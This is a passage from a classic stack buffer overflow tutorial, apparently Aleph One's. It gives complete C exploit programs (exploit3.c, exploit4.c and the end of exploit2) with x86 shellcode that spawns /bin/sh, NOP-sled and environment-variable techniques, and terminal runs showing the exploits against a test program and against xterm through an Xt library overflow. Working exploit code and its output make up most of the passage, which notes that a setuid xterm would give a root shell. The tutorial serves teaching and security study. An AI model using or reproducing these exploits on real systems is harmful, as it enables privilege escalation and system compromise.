  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
```

```
  int i;

  if (argc > 1) bsize  = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);

  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_sp() - offset;
  printf("Using address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  ptr += 4;
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';

  memcpy(buff,"EGG=",4);
  putenv(buff);
  system("/bin/bash");
}
------------------------------------------------------------------------------
```

Now we can try to guess what the buffer and offset should be:

```
------------------------------------------------------------------------------
[aleph1]$ ./exploit2 500
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
[aleph1]$ exit
[aleph1]$ ./exploit2 600
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
Illegal instruction
[aleph1]$ exit
[aleph1]$ ./exploit2 600 100
Using address: 0xbffffd4c
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
[aleph1]$ ./exploit2 600 200
Using address: 0xbffffce8
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit2 600 1564
Using address: 0xbffff794
[aleph1]$ ./vulnerable $EGG
$
```

```
------------------------------------------------------------------------------

   As we can see this is not an efficient process.  Trying to guess the
offset even while knowing where the beginning of the stack lives is nearly
impossible.  We would need at best a hundred tries, and at worst a couple of
thousand.  The problem is we need to guess *exactly* where the address of our
code will start.  If we are off by one byte more or less we will just get a
segmentation violation or a invalid instruction.  One way to increase our
chances is to pad the front of our overflow buffer with NOP instructions.
Almost all processors have a NOP instruction that performs a null operation.
It is usually used to delay execution for purposes of timing.  We will take
advantage of it and fill half of our overflow buffer with them.  We will place
our shellcode at the center, and then follow it with the return addresses. If
we are lucky and the return address points anywhere in the string of NOPs,
they will just get executed until they reach our code.  In the Intel
architecture the NOP instruction is one byte long and it translates to 0x90
in machine code.  Assuming the stack starts at address 0xFF, that S stands for
shell code, and that N stands for a NOP instruction the new stack would look
like this:

bottom of  DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     top of
memory     89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF     memory
           buffer                sfp   ret   a     b     c

<------   [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]
                 ^                     |
                 |_____________________|
top of                                                            bottom of
stack                                                                 stack

   The new exploits is then:

exploit3.c
------------------------------------------------------------------------------
#include <stdlib.h>

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512
#define NOP                            0x90

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i;

  if (argc > 1) bsize  = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);

  if (!(buff = malloc(bsize))) {
```

```
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_sp() - offset;
  printf("Using address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  for (i = 0; i < bsize/2; i++)
    buff[i] = NOP;

  ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';

  memcpy(buff,"EGG=",4);
  putenv(buff);
  system("/bin/bash");
}
------------------------------------------------------------------------------
```

A good selection for our buffer size is about 100 bytes more than the size of the buffer we are trying to overflow. This will place our code at the end of the buffer we are trying to overflow, giving a lot of space for the NOPs, but still overwriting the return address with the address we guessed. The buffer we are trying to overflow is 512 bytes long, so we'll use 612. Let's try to overflow our test program with our new exploit:

```
------------------------------------------------------------------------------
[aleph1]$ ./exploit3 612
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
$
------------------------------------------------------------------------------
```

Whoa! First try! This change has improved our chances a hundredfold. Let's try it now on a real case of a buffer overflow. We'll use for our demonstration the buffer overflow on the Xt library. For our example, we'll use xterm (all programs linked with the Xt library are vulnerable). You must be running an X server and allow connections to it from the localhost. Set your DISPLAY variable accordingly.

```
------------------------------------------------------------------------------
[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit3 1124
Using address: 0xbffffdb4
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "ë^1¤FF
                           °
                            óV

¤1¤Ø@¤èÜÿÿÿ/bin/sh¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ
¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ
```

```
¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ
¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤







ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤
ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤
ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤
ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤








¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤
^C
[aleph1]$ exit
[aleph1]$ ./exploit3 2148 100
Using address: 0xbffffd48
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "ë^1¤FF
                          °
                           óV

¤1¤Ø@¤èÜÿÿÿ/bin/sh¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ
¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ
¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ
¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤








ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤
ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤
ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤
ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H








¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H
¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H
¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H
```

```
¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿









H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿
H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿
H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿
H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ









¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ
Warning: some arguments in previous message were lost
Illegal instruction
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit4 2148 600
Using address: 0xbffffb54
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "ë^1¤FF
                           °
                            óV

¤1¤Ø@¤èÜÿÿÿ/bin/shûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ
¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ
¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ
¿Tûÿ¿Tûÿ¿Tûÿ¿Tû









ÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tû
ÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tû
ÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tû
ÿ¿Tûÿ¿Tûÿ¿Tûÿ¿T
```

```
ûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿T
ûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿T
ûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿T
ûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿







Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿
Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿
Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿
Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ







¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ
Warning: some arguments in previous message were lost
bash$
------------------------------------------------------------------------------
```

Eureka! Less than a dozen tries and we found the magic numbers. If xterm where installed suid root this would now be a root shell.

Small Buffer Overflows

~~~~~~~~~~~~~~~~~~~~~~

There will be times when the buffer you are trying to overflow is so small that either the shellcode wont fit into it, and it will overwrite the return address with instructions instead of the address of our code, or the number of NOPs you can pad the front of the string with is so small that the chances of guessing their address is minuscule. To obtain a shell from these programs we will have to go about it another way. This particular approach only works when you have access to the program's environment variables.

What we will do is place our shellcode in an environment variable, and then overflow the buffer with the address of this variable in memory. This method also increases your changes of the exploit working as you can make the environment variable holding the shell code as large as you want.

The environment variables are stored in the top of the stack when the program is started, any modification by setenv() are then allocated elsewhere. The stack at the beginning then looks like this:

```
      <strings><argv pointers>NULL<envp pointers>NULL<argc><argv><envp>
```

Our new program will take an extra variable, the size of the variable containing the shellcode and NOPs. Our new exploit now looks like this:
~~~~~~~~~~~~~~~~~~~~~~

```
exploit4.c
------------------------------------------------------------------------------
#include <stdlib.h>

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512
#define DEFAULT_EGG_SIZE               2048
#define NOP                            0x90

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_esp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr, *egg;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i, eggsize=DEFAULT_EGG_SIZE;

  if (argc > 1) bsize   = atoi(argv[1]);
  if (argc > 2) offset  = atoi(argv[2]);
  if (argc > 3) eggsize = atoi(argv[3]);


  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }
  if (!(egg = malloc(eggsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_esp() - offset;
  printf("Using address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  ptr = egg;
  for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
    *(ptr++) = NOP;

  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';
  egg[eggsize - 1] = '\0';

  memcpy(egg,"EGG=",4);
  putenv(egg);
  memcpy(buff,"RET=",4);
```

```
  putenv(buff);
  system("/bin/bash");
}
------------------------------------------------------------------------------
```

Lets try our new exploit with our vulnerable test program:

```
------------------------------------------------------------------------------
[aleph1]$ ./exploit4 768
Using address: 0xbffffdb0
[aleph1]$ ./vulnerable $RET
$
------------------------------------------------------------------------------
```

Works like a charm. Now lets try it on xterm:

```
------------------------------------------------------------------------------
[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit4 2148
Using address: 0xbffffdb0
[aleph1]$ /usr/X11R6/bin/xterm -fg $RET
Warning: Color name
"°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ
¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ
¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ
¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤








ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤
ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤
ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤
ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°








¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°
¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°
¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°
¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿








°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿
```

```
°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿
°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿
°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ



¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ
¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ
¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ
¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤



ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤
ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤
ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤
ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°



¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°
¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°
¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°
¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿



°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿
°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿
